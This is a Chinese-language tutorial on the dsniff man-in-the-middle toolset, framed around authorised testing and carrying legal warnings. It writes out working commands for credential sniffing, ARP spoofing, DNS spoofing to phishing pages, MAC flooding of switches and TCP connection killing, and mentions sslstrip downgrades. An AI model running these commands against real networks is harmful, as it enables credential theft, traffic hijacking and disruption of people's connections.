dsniff 是一套专注于网络流量嗅探与中间人攻击MITM的工具集而非单一工具包含 dsniff、arpspoof、dnsspoof、macof 等多个子工具核心功能是捕获局域网内的明文认证信息如账号密码、篡改网络流量及伪造网络身份。其设计初衷是用于网络安全测试帮助管理员发现网络中的明文传输漏洞与认证风险。dsniff 主要通过两种方式工作1.被动嗅探监听网络接口流量解析 FTP、Telnet、HTTP、SMTP 等明文协议中的敏感数据如登录凭证2.主动欺骗配合子工具如 arpspoof 实施 ARP 欺骗、dnsspoof 实施 DNS 欺骗劫持目标流量将加密协议降级为明文传输如通过 sslstrip 插件从而获取原本加密的数据。核心应用场景包括– 网络安全审计检测局域网内是否存在明文传输的敏感信息– 渗透测试构建中间人攻击验证目标系统的认证安全性– 教学演示展示明文协议风险与中间人攻击的原理– 漏洞验证测试网络设备对 ARP 欺骗、DNS 欺骗的防御能力。需特别注意dsniff 的攻击性极强仅可在授权的网络环境中使用未经允许对第三方网络实施嗅探或欺骗可能违反《网络安全法》《刑法》等法律法规需承担民事赔偿、行政处罚甚至刑事责任。二、工具基础信息项目详情工具类型网络嗅探与中间人攻击工具集当前版本2.4Kali Linux 默认预装版本核心子工具dsniff主嗅探工具、arpspoofARP 欺骗、dnsspoofDNS 欺骗、macofMAC 泛洪、tcpkillTCP 连接阻断等支持协议FTP、Telnet、HTTP、SMTP、POP3、IMAP、NNTP、NTLM、LDAP 等明文/弱加密协议依赖环境libpcap数据包捕获、libnet网络数据包构建、openssl加密数据处理运行权限必须 root 权限需监听网络接口、修改 ARP 缓存、伪造数据包三、主工具 dsniff 命令参数说明中文翻译与解析以下是 dsniff 主工具用于流量嗅探的命令参数子工具如 arpspoof、dnsspoof的参数将在后续使用教程中单独说明。参数英文说明中文翻译与解析-cCapture authentication credentials (default).捕获认证凭证默认功能自动解析明文协议中的账号、密码等敏感信息-dEnable debugging mode (verbose).启用调试模式详细输出在终端显示嗅探过程的详细日志如捕获的数据包内容、协议解析过程便于问题排查-mLog all traffic (not just authentication) to stdout.将所有流量而非仅认证信息记录到标准输出终端适合完整查看网络交互数据-nDo not resolve IP addresses to hostnames.不将 IP 地址解析为域名仅显示 IP 地址减少 DNS 查询开销提升嗅探效率-i interfaceSelect the interface on which to listen.指定监听的网络接口如 eth0、wlan0需与目标主机在同一网段若不指定默认监听所有可用接口-p pcapfileRead captured packets from a pcap dump file instead of listening on an interface.从 pcap 数据包文件而非实时接口读取流量用于离线分析历史嗅探数据如之前用 tcpdump 捕获的 pcap 文件-s snaplenSet the snapshot length (default: 1024 bytes).设置数据包捕获长度默认 1024 字节若需捕获完整数据包如大尺寸 HTTP 请求可增大数值如 -s 65535捕获最大数据包-f servicesUse the specified services file (default: /etc/dsniff/services) to map ports to protocols.使用指定的服务配置文件默认 /etc/dsniff/services该文件定义端口与协议的映射关系如 21 端口对应 FTP可自定义文件适配特殊端口-t trigger[,…]Trigger on the specified TCP flags (default: syn,ack,rst,fin) for session reassembly.指定用于会话重组的 TCP 标志位默认 syn,ack,rst,fin多个标志位用逗号分隔仅在高级会话分析场景中调整默认配置适用于大多数情况-r savefileRead captured packets from a savefile (same as -p).从保存文件读取数据包功能与 -p 一致属于兼容参数用法-r traffic.pcap-w savefileWrite captured packets to a savefile for later analysis.将捕获的数据包写入保存文件如 -w sniff_data.pcap便于后续用 Wireshark、tcpdump 等工具二次分析expressiontcpdump(8)-style filter expression to select traffic.tcpdump 格式的过滤规则仅捕获符合条件的流量如 “port 80″ 仅嗅探 HTTP 流量、”host 192.168.1.100” 仅嗅探目标主机流量四、工具安装与环境准备4.1 安装方式Kali LinuxKali Linux 默认预装 dsniff 工具集若未安装或版本过旧可通过以下命令安装/更新# 更新软件源 sudo apt update # 安装 dsniff 工具集 sudo apt install dsniff -y # 验证安装查看版本 dsniff -v # 输出 dsniff: version 2.4 表示安装成功 # 查看包含的子工具确认安装完整性 ls /usr/sbin | grep -E dsniff|arpspoof|dnsspoof|macof|tcpkill # 输出应包含 dsniff、arpspoof、dnsspoof、macof、tcpkill 等4.2 依赖检查与补充若运行时提示缺少依赖如 libpcap、libnet需手动安装# 安装数据包捕获依赖libpcap sudo apt install libpcap-dev -y # 安装网络数据包构建依赖libnet sudo apt install libnet1-dev -y # 安装加密处理依赖openssl sudo apt install openssl -y4.3 环境配置关键前提获取 root 权限dsniff 所有子工具均需操作网络接口、修改系统配置或伪造数据包必须以 root 权限运行所有命令前需加sudo或通过sudo -i切换为 root 用户。开启 IP 转发中间人攻击必需实施 ARP 欺骗等中间人攻击时需将劫持的目标流量转发到真实网关否则目标主机会断网。临时开启命令# 临时开启 IP 转发重启后失效 sudo echo 1 /proc/sys/net/ipv4/ip_forward # 验证 IP 转发状态输出 1 表示开启成功 cat /proc/sys/net/ipv4/ip_forward若需永久开启不推荐仅测试环境使用sudo nano /etc/sysctl.conf # 找到 net.ipv4.ip_forward 0修改为 net.ipv4.ip_forward 1 # 保存退出后执行生效sudo sysctl -p确认网络接口与目标网段# 查看网络接口信息确认 IP 与网段 ip addr show # 示例eth0 接口 IP 为 192.168.1.100目标网段为 192.168.1.0/24 # 扫描局域网内存活主机确认目标 IP sudo nmap -sn 192.168.1.0/24 # 输出局域网内所有存活主机的 IP 与 MAC 地址五、核心使用教程按子工具场景化示例dsniff 是工具集需按子工具的功能分类学习以下为最常用子工具的典型使用场景5.1 场景 1dsniff 主工具——被动嗅探明文认证信息适用场景被动监听网络流量捕获 FTP、Telnet、HTTP 等明文协议中的账号密码如用户登录 FTP 服务器、访问 HTTP 明文登录页。命令 1基础嗅探默认捕获认证信息# 监听 eth0 接口捕获所有明文协议的认证信息输出到终端 sudo dsniff -i eth0命令 2指定协议嗅探仅 HTTP 流量# 仅嗅探 eth0 接口上的 HTTP80 端口流量捕获登录凭证不解析域名 sudo dsniff -i eth0 -n port 80命令 3离线分析 pcap 文件# 从之前捕获的 traffic.pcap 文件中提取认证信息并输出到终端 sudo dsniff -p traffic.pcap -c操作与验证执行命令后dsniff 开始监听流量终端保持等待状态让目标主机进行明文认证操作如通过浏览器访问 HTTP 登录页输入账号密码、用 FTP 客户端登录服务器终端会自动输出捕获的认证信息示例HTTP 登录192.168.1.101 - 192.168.1.200: HTTP POST /login.php usernameadminpassword123456 # 捕获的账号密码按CtrlC停止嗅探。5.2 场景 2arpspoof——实施 ARP 欺骗劫持目标流量适用场景通过伪造 ARP 响应包让目标主机认为攻击者是网关同时让网关认为攻击者是目标主机从而劫持两者之间的所有流量为后续嗅探或篡改做准备。核心原理ARP 协议用于将 IP 地址映射为 MAC 地址arpspoof 发送伪造的 ARP 包修改目标主机与网关的 ARP 缓存表实现流量劫持。命令 1劫持单个目标主机流量# 语法sudo arpspoof -i 接口 -t 目标IP 网关IP # 示例在 eth0 接口劫持 192.168.1.101目标IP与 192.168.1.1网关IP的流量 sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1 # 加 让 arpspoof 后台运行终端可继续执行其他命令命令 2双向劫持同时欺骗目标与网关# 同时欺骗目标主机认为攻击者是网关和网关认为攻击者是目标 sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1 sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.101 验证 ARP 欺骗效果在目标主机上查看 ARP 缓存表确认网关 IP 对应的 MAC 是攻击者的 MAC# Windows 目标 arp -a 192.168.1.1 # 查看网关的 ARP 记录MAC 应为攻击者 eth0 的 MAC # Linux 目标 arp -n 192.168.1.1 # 同理确认 MAC 地址被篡改攻击者主机开启 dsniff 嗅探可捕获目标主机的所有流量如浏览网页、发送消息。停止 ARP 欺骗# 查找 arpspoof 进程 PID ps aux | grep arpspoof # 停止进程替换 PID 为实际数值如 1234、5678 sudo kill 1234 5678 # 可选在目标主机清除 ARP 缓存恢复正常网络 # Windowsarp -d 192.168.1.1 # Linuxsudo arp -d 192.168.1.15.3 场景 3dnsspoof——实施 DNS 欺骗篡改域名解析适用场景配合 ARP 欺骗劫持 DNS 请求后篡改 DNS 响应将目标域名解析到攻击者指定的 IP如将 www.baidu.com 解析到攻击者控制的服务器实现“钓鱼”或流量引导。前提准备1. 已通过 arpspoof 劫持目标主机流量参考场景 22. 创建 DNS 欺骗规则文件如 dns_spoof.hosts格式与系统 hosts 文件一致示例# dns_spoof.hosts 规则文件 192.168.1.100 www.baidu.com # 将百度解析到攻击者 IP192.168.1.100 192.168.1.100 mail.qq.com # 将 QQ 邮箱解析到攻击者 IP命令启动 DNS 欺骗# 语法sudo dnsspoof -i 接口 -f 规则文件 [过滤规则] # 示例在 eth0 接口加载 dns_spoof.hosts 规则仅处理 UDP 53 端口DNS 协议的流量 sudo dnsspoof -i eth0 -f dns_spoof.hosts udp port 53验证 DNS 欺骗效果在目标主机上执行 DNS 解析命令确认域名被篡改# Windows/Linux 通用 nslookup www.baidu.com # 输出应显示 Address: 192.168.1.100攻击者 IP而非百度真实 IP目标主机访问 www.baidu.com 时会跳转到攻击者控制的服务器需提前在攻击者主机搭建模拟页面。停止 DNS 欺骗# 查找 dnsspoof 进程 PID ps aux | grep dnsspoof # 停止进程 sudo kill 进程PID5.4 场景 4macof——实施 MAC 泛洪攻击干扰交换机适用场景向交换机发送大量伪造的 MAC 地址与 IP 映射数据包耗尽交换机的 MAC 地址表使交换机进入“泛洪模式”将所有端口的流量广播到其他所有端口从而监听原本无法捕获的跨端口流量适用于交换机环境下的嗅探。注意MAC 泛洪会导致交换机性能下降甚至瘫痪仅可在授权的测试环境使用禁止在生产网络操作。命令 1基础 MAC 泛洪默认参数# 在 eth0 接口实施 MAC 泛洪自动生成大量伪造 MAC-IP 映射 sudo macof -i eth0命令 2自定义泛洪参数指定源 IP/端口# -s指定源 IP 范围起始值-d指定目标 IP 范围起始值-e指定源 MAC 地址-x指定端口范围 sudo macof -i eth0 -s 192.168.1.10 -d 192.168.1.200 -e 00:11:22:33:44:55 -x 1024-65535验证泛洪效果在交换机管理界面查看 MAC 地址表若显示大量未知 MAC 地址且持续增长说明泛洪生效攻击者主机启动 dsniff 嗅探可捕获交换机下所有端口的流量原本仅能捕获同端口流量。停止 MAC 泛洪# 查找 macof 进程 PID ps aux | grep macof # 停止进程 sudo kill 进程PID # 可选重启交换机清除 MAC 地址表恢复正常工作模式5.5 场景 5tcpkill——阻断指定 TCP 连接适用场景发送伪造的 TCP RST复位数据包强制阻断目标主机与特定服务器的 TCP 连接如阻断目标访问某网站、断开 FTP 连接用于测试网络连接的抗干扰能力或临时限制目标网络访问。命令 1阻断目标与指定 IP 的所有 TCP 连接# 语法sudo tcpkill -i 接口 host 目标IP and host 服务器IP # 示例在 eth0 接口阻断 192.168.1.101目标与 180.101.49.12百度IP的 TCP 连接 sudo tcpkill -i eth0 host 192.168.1.101 and host 180.101.49.12命令 2阻断指定端口的 TCP 连接如 HTTP 80 端口# 阻断 192.168.1.101 访问所有主机的 80 端口HTTP 协议 sudo tcpkill -i eth0 host 192.168.1.101 and port 80验证阻断效果目标主机尝试访问被阻断的服务如浏览器打开百度会显示“连接重置”或“无法访问”攻击者终端会实时输出被阻断的连接信息如“tcpkill: eth0: 192.168.1.101:54321 180.101.49.12:80 RST”。停止 TCP 阻断# 查找 tcpkill 进程 PID ps aux | grep tcpkill # 停止进程 sudo kill 进程PID # 目标主机重新发起连接即可恢复访问如刷新浏览器六、dsniff 工具集常用参数汇总表格子工具核心参数功能说明示例dsniff主工具-i interface指定监听接口-i eth0-w savefile保存捕获的数据包到文件-w sniff_data.pcap-n不解析 IP 为域名dsniff -i eth0 -nexpressiontcpdump 过滤规则dsniff -i eth0 port 21仅 FTP 流量arpspoof-i interface指定欺骗使用的接口-i wlan0-t targetIP gatewayIP指定目标 IP 与网关 IP-t 192.168.1.101 192.168.1.1dnsspoof-i interface指定监听接口-i eth0-f rulefile加载 DNS 欺骗规则文件-f dns_spoof.hostsmacof-i interface指定泛洪接口-i eth0-s/-d/-e自定义源 IP/目标 IP/源 MAC-s 192.168.1.10 -d 192.168.1.200tcpkill过滤规则指定要阻断的 TCP 连接tcpkill -i eth0 host 192.168.1.101 and port 80七、常见问题与解决方法常见问题可能原因解决方法dsniff 启动后无任何输出捕获不到认证信息1. 网络中无明文协议流量均为 HTTPS 加密2. 接口选择错误未监听有流量的接口3. 过滤规则过严格1. 测试明文协议如用 FTP 客户端登录、访问 HTTP 网站2. 用ip addr show确认接口换用正确接口如 -i eth03. 去除过滤规则捕获所有 TCP 流量arpspoof 启动后目标主机断网1. 未开启 IP 转发攻击者未将流量转发到网关2. 网关 IP 或目标 IP 填写错误3. 防火墙拦截转发流量1. 开启 IP 转发sudo echo 1 /proc/sys/net/ipv4/ip_forward2. 确认网关 IP如route -n查看和目标 IP3. 关闭防火墙sudo ufw disablednsspoof 规则不生效域名仍解析到真实 IP1. 未劫持目标 DNS 流量未执行 arpspoof2. 规则文件格式错误无空格分隔 IP 与域名3. 目标主机有 DNS 缓存1. 先启动 arpspoof 劫持流量2. 检查规则文件确保格式为“IP 域名”如 192.168.1.100 www.baidu.com3. 清除目标 DNS 缓存Windowsipconfig /flushdnsLinuxsudo systemctl restart systemd-resolvedmacof 泛洪后交换机未进入泛洪模式1. 交换机支持 MAC 地址表保护如端口安全2. 泛洪数据包数量不足未耗尽 MAC 地址表3. 接口选择错误1. 在测试交换机上关闭端口安全功能2. 延长 macof 运行时间或自定义参数增加泛洪强度3. 确认接口与交换机连接正常如 -i eth0 连接到交换机tcpkill 无法阻断 HTTPS 连接443 端口HTTPS 基于 TLS 加密TCP 连接建立后有会话复用机制仅阻断初始连接可能无效1. 持续运行 tcpkill阻断所有 443 端口连接2. 配合 dnsspoof 将 HTTPS 域名解析到无效 IP从源头阻止连接建立八、使用注意事项与法律风险法律合规是底线dsniff 工具集的所有功能均具有攻击性仅可在自身网络、授权的企业安全测试中使用。未经允许在公共网络、他人私有网络中实施嗅探、欺骗或阻断可能违反《中华人民共和国网络安全法》《刑法》第 285 条非法控制计算机信息系统、第 286 条破坏计算机信息系统面临罚款、拘留甚至刑事责任。隐私保护义务即使在授权测试中捕获的敏感信息如用户账号密码、私人通信也需严格保密测试结束后立即删除不得泄露或用于其他用途避免侵犯他人隐私权。避免影响正常网络MAC 泛洪、TCP 阻断等功能会破坏网络正常运行测试时需严格控制范围与时间测试完成后立即停止工具并恢复网络配置如重启交换机、清除 ARP 缓存。HTTPS 局限性dsniff 主要针对明文协议对 HTTPS 加密流量的捕获能力有限需配合 sslstrip 等工具降级加密但此类操作可能违反 SSL/TLS 协议规范需额外评估法律与道德风险。